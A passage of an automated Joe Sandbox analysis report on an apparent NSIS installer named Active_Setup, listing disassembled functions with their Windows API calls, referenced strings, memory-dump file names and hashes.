SendMessageW.USER32(?,00001026,00000000,00000110), ref: 004051F1
SendMessageW.USER32(?,00001024,00000000,?), ref: 00405204
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 00405226
ShowWindow.USER32(?,00000008), ref: 0040523A
GetDlgItem.USER32(?,000003EC), ref: 0040525B
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 0040526B
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 00405280
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 0040528C
GetDlgItem.USER32(?,000003F8), ref: 0040514D

Part of subcall function 00403D98: SendMessageW.USER32(00000028,?,00000001,004057B4), ref: 00403DA6

Part of subcall function 00406805: GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

GetDlgItem.USER32(?,000003EC), ref: 004052AB
CreateThread.KERNELBASE(00000000,00000000,Function_00005047,00000000), ref: 004052B9
CloseHandle.KERNELBASE(00000000), ref: 004052C0
ShowWindow.USER32(00000000), ref: 004052E7
ShowWindow.USER32(?,00000008), ref: 004052EC
ShowWindow.USER32(00000008), ref: 00405333
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405365
CreatePopupMenu.USER32 ref: 00405376
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 0040538B
GetWindowRect.USER32(?,?), ref: 0040539E
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 004053C0
SendMessageW.USER32(?,00001073,00000000,?), ref: 004053FB
OpenClipboard.USER32(00000000), ref: 0040540B
EmptyClipboard.USER32 ref: 00405411
GlobalAlloc.KERNEL32(00000042,00000000,?,?,00000000,?,00000000), ref: 0040541D
GlobalLock.KERNEL32(00000000), ref: 00405427
SendMessageW.USER32(?,00001073,00000000,?), ref: 0040543B
GlobalUnlock.KERNEL32(00000000), ref: 0040545D
SetClipboardData.USER32(0000000D,00000000), ref: 00405468
CloseClipboard.USER32 ref: 0040546E

Strings

New install of "%s" to "%s", xrefs: 00405182
@rD, xrefs: 004053D7
{, xrefs: 00405352

Memory Dump Source

Source File: 00000000.00000002.1668819759.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1668798423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668863909.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004BF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Active_Setup.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlockVersionlstrlenwvsprintf
String ID: @rD$New install of "%s" to "%s"${
API String ID: 2110491804-2409696222
Opcode ID: 71b8ecf663d6f058a1c3ced55927feebbdcf1e8b0d86afd2c4b352cd48bee751
Instruction ID: 480b9f2609884c7685ddca5963e0cfcc77f9e358d06567921943d8ab7e89b76b
Opcode Fuzzy Hash: 71b8ecf663d6f058a1c3ced55927feebbdcf1e8b0d86afd2c4b352cd48bee751
Instruction Fuzzy Hash: 14B15B70800608FFDB11AFA0DD85EAE7B79EF44355F00803AFA45BA1A0CBB49A519F59

Function 00403883 Relevance: 54.6, APIs: 22, Strings: 9, Instructions: 304
filestringcomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#17.COMCTL32 ref: 004038A2
SetErrorMode.KERNELBASE(00008001), ref: 004038AD
OleInitialize.OLE32(00000000), ref: 004038B4

Part of subcall function 004062FC: GetModuleHandleA.KERNEL32(?,?,00000020,004038C6,00000008), ref: 0040630A
Part of subcall function 004062FC: LoadLibraryA.KERNELBASE(?,?,?,00000020,004038C6,00000008), ref: 00406315
Part of subcall function 004062FC: GetProcAddress.KERNEL32(00000000), ref: 00406327

SHGetFileInfoW.SHELL32(00409264,00000000,?,000002B4,00000000), ref: 004038DC

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

GetCommandLineW.KERNEL32(0046ADC0,NSIS Error), ref: 004038F1
GetModuleHandleW.KERNEL32(00000000,004C30A0,00000000), ref: 00403904
CharNextW.USER32(00000000,004C30A0,00000020), ref: 0040392B
GetTempPathW.KERNEL32(00002004,004D70C8,00000000,00000020), ref: 00403A00
GetWindowsDirectoryW.KERNEL32(004D70C8,00001FFF), ref: 00403A15
lstrcatW.KERNEL32(004D70C8,\Temp), ref: 00403A21
DeleteFileW.KERNELBASE(004D30C0), ref: 00403A38
CoUninitialize.COMBASE(?), ref: 00403AD1
ExitProcess.KERNEL32 ref: 00403AF1
lstrcatW.KERNEL32(004D70C8,~nsu.tmp), ref: 00403AFD
lstrcmpiW.KERNEL32(004D70C8,004CF0B8,004D70C8,~nsu.tmp), ref: 00403B09
CreateDirectoryW.KERNEL32(004D70C8,00000000), ref: 00403B15
SetCurrentDirectoryW.KERNEL32(004D70C8), ref: 00403B1C
DeleteFileW.KERNEL32(004331E8,004331E8,?,00477008,00409204,00473000,?), ref: 00403B6D
CopyFileW.KERNEL32(004DF0D8,004331E8,00000001), ref: 00403B81
CloseHandle.KERNEL32(00000000,004331E8,004331E8,?,004331E8,00000000), ref: 00403BAE
GetCurrentProcess.KERNEL32(00000028,00000005,00000005,00000004,00000003), ref: 00403C04
ExitWindowsEx.USER32(00000002,00000000), ref: 00403C40

Strings

Error launching installer, xrefs: 00403A7D
SeShutdownPrivilege, xrefs: 00403C16
\Temp, xrefs: 00403A1B
/D=, xrefs: 004039A6
~nsu.tmp, xrefs: 00403AF7
NSIS Error, xrefs: 004038E2
NCRC, xrefs: 0040397C
1C, xrefs: 00403B56
_?=, xrefs: 00403A64

Memory Dump Source

Source File: 00000000.00000002.1668819759.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1668798423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668863909.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004BF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Active_Setup.jbxd

Similarity

API ID: File$DirectoryHandle$CurrentDeleteExitModuleProcessWindowslstrcat$AddressCharCloseCommandCopyCreateErrorInfoInitializeLibraryLineLoadModeNextPathProcTempUninitializelstrcmpilstrcpyn
String ID: /D=$ _?=$Error launching installer$NCRC$NSIS Error$SeShutdownPrivilege$\Temp$~nsu.tmp$1C
API String ID: 2435955865-239407132
Opcode ID: 5d9024d5f0e899f809313532158b428341dd342d07cfae74060de4bd372621f4
Instruction ID: 7cf1fa831aca86d96b8495533088dbe4cf0b0326274ef0a42366eb07f7c747b9
Opcode Fuzzy Hash: 5d9024d5f0e899f809313532158b428341dd342d07cfae74060de4bd372621f4
Instruction Fuzzy Hash: C4A1B671544305BAD6207F629D4AF1B3EACAF0070AF15483FF585B61D2DBBC8A448B6E

Function 00406805 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 212
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6
GetSystemDirectoryW.KERNEL32(00462540,00002004), ref: 00406958

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

GetWindowsDirectoryW.KERNEL32(00462540,00002004), ref: 0040696B
lstrcatW.KERNEL32(00462540,\Microsoft\Internet Explorer\Quick Launch), ref: 004069E5
lstrlenW.KERNEL32(00462540,0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 00406A47

Strings

@%F, xrefs: 00406A53
\Microsoft\Internet Explorer\Quick Launch, xrefs: 004069DF
@%F, xrefs: 0040682C
Software\Microsoft\Windows\CurrentVersion, xrefs: 00406926

Memory Dump Source

Source File: 00000000.00000002.1668819759.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1668798423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668863909.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004BF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Active_Setup.jbxd

Similarity

API ID: Directory$SystemVersionWindowslstrcatlstrcpynlstrlen
String ID: @%F$@%F$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 3581403547-784952888
Opcode ID: 93666727498e5f08fd38b631bc67a6e1ad40de3ecc08933b567c44a166c18943
Instruction ID: 7881bd453c5698e0e02013fa1c3524f2cf467b60749c67c5a59258f73e57ab2a
Opcode Fuzzy Hash: 93666727498e5f08fd38b631bc67a6e1ad40de3ecc08933b567c44a166c18943
Instruction Fuzzy Hash: F171F4B1A00215ABDB20AF28CD44A7E3771EF55314F12C03FE906B62E0E77C89A19B5D

Function 004074BB Relevance: 5.4, APIs: 4, Instructions: 382
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1668819759.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1668798423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668863909.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004BF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Active_Setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40903ab5852a4d5be4c36b37cb9ac035c10bc9e934730a02f9966fb4d26bd2b9
Instruction ID: b44593247c4c050b0e646bb53675e7b1a8962b0b92449cff70e8ee1879f4dc4f
Opcode Fuzzy Hash: 40903ab5852a4d5be4c36b37cb9ac035c10bc9e934730a02f9966fb4d26bd2b9
Instruction Fuzzy Hash: 00F14871908249DBDF18CF28C8946E93BB1FF44345F14852AFD5A9B281D338E986DF86

Function 004062FC Relevance: 4.5, APIs: 3, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,00000020,004038C6,00000008), ref: 0040630A
LoadLibraryA.KERNELBASE(?,?,?,00000020,004038C6,00000008), ref: 00406315
GetProcAddress.KERNEL32(00000000), ref: 00406327

Memory Dump Source

Source File: 00000000.00000002.1668819759.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1668798423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668863909.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004BF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Active_Setup.jbxd

Similarity

API ID: AddressHandleLibraryLoadModuleProc
String ID:
API String ID: 310444273-0
Opcode ID: a32725a6e723fbcd4130456278775f3bec070c67c36dcd31cef0056e0dec9b78
Instruction ID: 23f85fcbdf3119ad7ff9d94b99dcad510d7c567b01d836bd9cab37df641e0753
Opcode Fuzzy Hash: a32725a6e723fbcd4130456278775f3bec070c67c36dcd31cef0056e0dec9b78
Instruction Fuzzy Hash: 53D0123120010597C6001B65AE0895F776CEF95611707803EF542F3132EB34D415AAEC

Function 004062D5 Relevance: 3.0, APIs: 2, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(004572C0,0045BEC8,004572C0,004067CE,004572C0), ref: 004062E0
FindClose.KERNEL32(00000000), ref: 004062EC

Memory Dump Source

Source File: 00000000.00000002.1668819759.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1668798423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668863909.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004BF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Active_Setup.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: c6f116a51c08f79c55c0589ec24d04b7eaebe21ecc1702d782a9edd0eda53026
Instruction ID: 3dd5e1b78c12f0f437ff376ab6b0e1f90f8becb0d3509d6a9a7f52ed6ae53baf
Opcode Fuzzy Hash: c6f116a51c08f79c55c0589ec24d04b7eaebe21ecc1702d782a9edd0eda53026
Instruction Fuzzy Hash: 7AD0C9315041205BC25127386E0889B6A589F163723258A7AB5A6E11E0CB388C2296A8

Function 00405479 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 345
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 004054B5
ShowWindow.USER32(?), ref: 004054D2
DestroyWindow.USER32 ref: 004054E6
SetWindowLongW.USER32(?,00000000,00000000), ref: 00405502
GetDlgItem.USER32(?,?), ref: 00405523
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00405537
IsWindowEnabled.USER32(00000000), ref: 0040553E
GetDlgItem.USER32(?,00000001), ref: 004055ED
GetDlgItem.USER32(?,00000002), ref: 004055F7
SetClassLongW.USER32(?,000000F2,?), ref: 00405611
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 00405662
GetDlgItem.USER32(?,00000003), ref: 00405708
ShowWindow.USER32(00000000,?), ref: 0040572A
KiUserCallbackDispatcher.NTDLL(?,?), ref: 0040573C
EnableWindow.USER32(?,?), ref: 00405757
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 0040576D
EnableMenuItem.USER32(00000000), ref: 00405774
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 0040578C
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 0040579F
lstrlenW.KERNEL32(00447240,?,00447240,0046ADC0), ref: 004057C8
SetWindowTextW.USER32(?,00447240), ref: 004057DC
ShowWindow.USER32(?,0000000A), ref: 00405910

Strings

@rD, xrefs: 004057B9

Memory Dump Source

Source File: 00000000.00000002.1668819759.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1668798423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668863909.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004BF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Active_Setup.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID: @rD
API String ID: 3282139019-3814967855
Opcode ID: 9cf786e25966daeabf755d20ab7dea7749e4d7b73da7bae0acc5cbd00c8c4fee
Instruction ID: 0f9b988f21b44e482dc064b3562f20aa73efc2902ac8c6ffeb9ddf27563d0ddb
Opcode Fuzzy Hash: 9cf786e25966daeabf755d20ab7dea7749e4d7b73da7bae0acc5cbd00c8c4fee
Instruction Fuzzy Hash: D8C1C371500A04EBDB216F61EE49E2B3BA9EB45345F00093EF551B12F0DB799891EF2E

Function 004015A0 Relevance: 56.4, APIs: 15, Strings: 17, Instructions: 351
sleepfilewindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostQuitMessage.USER32(00000000), ref: 00401648
Sleep.KERNELBASE(00000000,?,00000000,00000000,00000000), ref: 004016B2
SetForegroundWindow.USER32(?), ref: 004016CB
ShowWindow.USER32(?), ref: 00401753
ShowWindow.USER32(?), ref: 00401767
SetFileAttributesW.KERNEL32(00000000,00000000,?,000000F0), ref: 0040178C
CreateDirectoryW.KERNELBASE(?,00000000,00000000,0000005C,?,?,?,000000F0,?,000000F0), ref: 004017F4
GetLastError.KERNEL32(?,?,000000F0,?,000000F0), ref: 004017FE
GetLastError.KERNEL32(?,?,000000F0,?,000000F0), ref: 0040180B
GetFileAttributesW.KERNELBASE(?,?,?,000000F0,?,000000F0), ref: 0040182A
SetCurrentDirectoryW.KERNELBASE(?,004CB0B0,?,000000E6,0040F0D0,?,?,?,000000F0,?,000000F0), ref: 00401885
MoveFileW.KERNEL32(00000000,?), ref: 00401908
GetFullPathNameW.KERNEL32(00000000,00002004,00000000,?,00000000,000000E3,0040F0D0,?,00000000,00000000,?,?,?,?,?,000000F0), ref: 00401975
GetShortPathNameW.KERNEL32(00000000,00000000,00002004), ref: 004019BF
SearchPathW.KERNELBASE(00000000,00000000,00000000,00002004,00000000,?,000000FF,?,00000000,00000000,?,?,?,?,?,000000F0), ref: 004019DE

Strings

Rename failed: %s, xrefs: 0040194B
detailprint: %s, xrefs: 00401679
SetFileAttributes: "%s":%08X, xrefs: 0040177B
CreateDirectory: "%s" created, xrefs: 00401849
IfFileExists: file "%s" exists, jumping %d, xrefs: 004018AD
BringToFront, xrefs: 004016BD
Jump: %d, xrefs: 00401602
Rename on reboot: %s, xrefs: 00401943
Sleep(%d), xrefs: 0040169D
Call: %d, xrefs: 0040165A
Aborting: "%s", xrefs: 0040161D
Rename: %s, xrefs: 004018F8
IfFileExists: file "%s" does not exist, jumping %d, xrefs: 004018C6
CreateDirectory: can't create "%s" - a file already exists, xrefs: 00401837
SetFileAttributes failed., xrefs: 004017A1
CreateDirectory: can't create "%s" (err=%d), xrefs: 00401815
CreateDirectory: "%s" (%d), xrefs: 004017BF

Memory Dump Source

Source File: 00000000.00000002.1668819759.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1668798423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668863909.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004BF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Active_Setup.jbxd

Similarity

API ID: FilePathWindow$AttributesDirectoryErrorLastNameShow$CreateCurrentForegroundFullMessageMovePostQuitSearchShortSleep
String ID: Aborting: "%s"$BringToFront$Call: %d$CreateDirectory: "%s" (%d)$CreateDirectory: "%s" created$CreateDirectory: can't create "%s" (err=%d)$CreateDirectory: can't create "%s" - a file already exists$IfFileExists: file "%s" does not exist, jumping %d$IfFileExists: file "%s" exists, jumping %d$Jump: %d$Rename failed: %s$Rename on reboot: %s$Rename: %s$SetFileAttributes failed.$SetFileAttributes: "%s":%08X$Sleep(%d)$detailprint: %s
API String ID: 2872004960-3619442763
Opcode ID: e7226c198396c3fe3a7f3bea8c4d52a2e846d2bb9e79691e18455936b93e1c7d
Instruction ID: b6b48939bc8a7188504c618ab7841b31fdd5898bf24c808f75461ec369738802
Opcode Fuzzy Hash: e7226c198396c3fe3a7f3bea8c4d52a2e846d2bb9e79691e18455936b93e1c7d
Instruction Fuzzy Hash: 0AB1F471A00204ABDB10BF61DD46DAE3B69EF44314B21817FF946B21E1DA7D4E40CAAE

Function 0040592C Relevance: 45.7, APIs: 15, Strings: 11, Instructions: 233
stringregistrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004062FC: GetModuleHandleA.KERNEL32(?,?,00000020,004038C6,00000008), ref: 0040630A
Part of subcall function 004062FC: LoadLibraryA.KERNELBASE(?,?,?,00000020,004038C6,00000008), ref: 00406315
Part of subcall function 004062FC: GetProcAddress.KERNEL32(00000000), ref: 00406327

lstrcatW.KERNEL32(004D30C0,00447240,80000001,Control Panel\Desktop\ResourceLocale,00000000,00447240,00000000,00000006,004C30A0,-00000002,00000000,004D70C8,00403AC1,?), ref: 004059AE
lstrlenW.KERNEL32(00462540,?,?,?,00462540,00000000,004C70A8,004D30C0,00447240,80000001,Control Panel\Desktop\ResourceLocale,00000000,00447240,00000000,00000006,004C30A0), ref: 00405A30
lstrcmpiW.KERNEL32(00462538,.exe,00462540,?,?,?,00462540,00000000,004C70A8,004D30C0,00447240,80000001,Control Panel\Desktop\ResourceLocale,00000000,00447240,00000000), ref: 00405A43
GetFileAttributesW.KERNEL32(00462540), ref: 00405A4E

Part of subcall function 00405F51: wsprintfW.USER32 ref: 00405F5E

LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,004C70A8), ref: 00405AB7
RegisterClassW.USER32(0046AD60), ref: 00405B0A
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00405B22
CreateWindowExW.USER32(00000080,?,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00405B5B

Part of subcall function 00403E95: SetWindowTextW.USER32(00000000,0046ADC0), ref: 00403F30

ShowWindow.USER32(00000005,00000000), ref: 00405B91
LoadLibraryW.KERNELBASE(RichEd20), ref: 00405BA2
LoadLibraryW.KERNEL32(RichEd32), ref: 00405BAD
GetClassInfoW.USER32(00000000,RichEdit20A,0046AD60), ref: 00405BBD
GetClassInfoW.USER32(00000000,RichEdit,0046AD60), ref: 00405BCA
RegisterClassW.USER32(0046AD60), ref: 00405BD3
DialogBoxParamW.USER32(?,00000000,00405479,00000000), ref: 00405BF2

Strings

.DEFAULT\Control Panel\International, xrefs: 00405999
RichEd32, xrefs: 00405BA8
RichEd20, xrefs: 00405B9D
RichEdit, xrefs: 00405BC4
RichEdit20A, xrefs: 00405BB6, 00405BBB
_Nb, xrefs: 00405AD1
.exe, xrefs: 00405A3D
B%F, xrefs: 00405A1F
@rD, xrefs: 00405965
@%F, xrefs: 004059F6
Control Panel\Desktop\ResourceLocale, xrefs: 00405972

Memory Dump Source

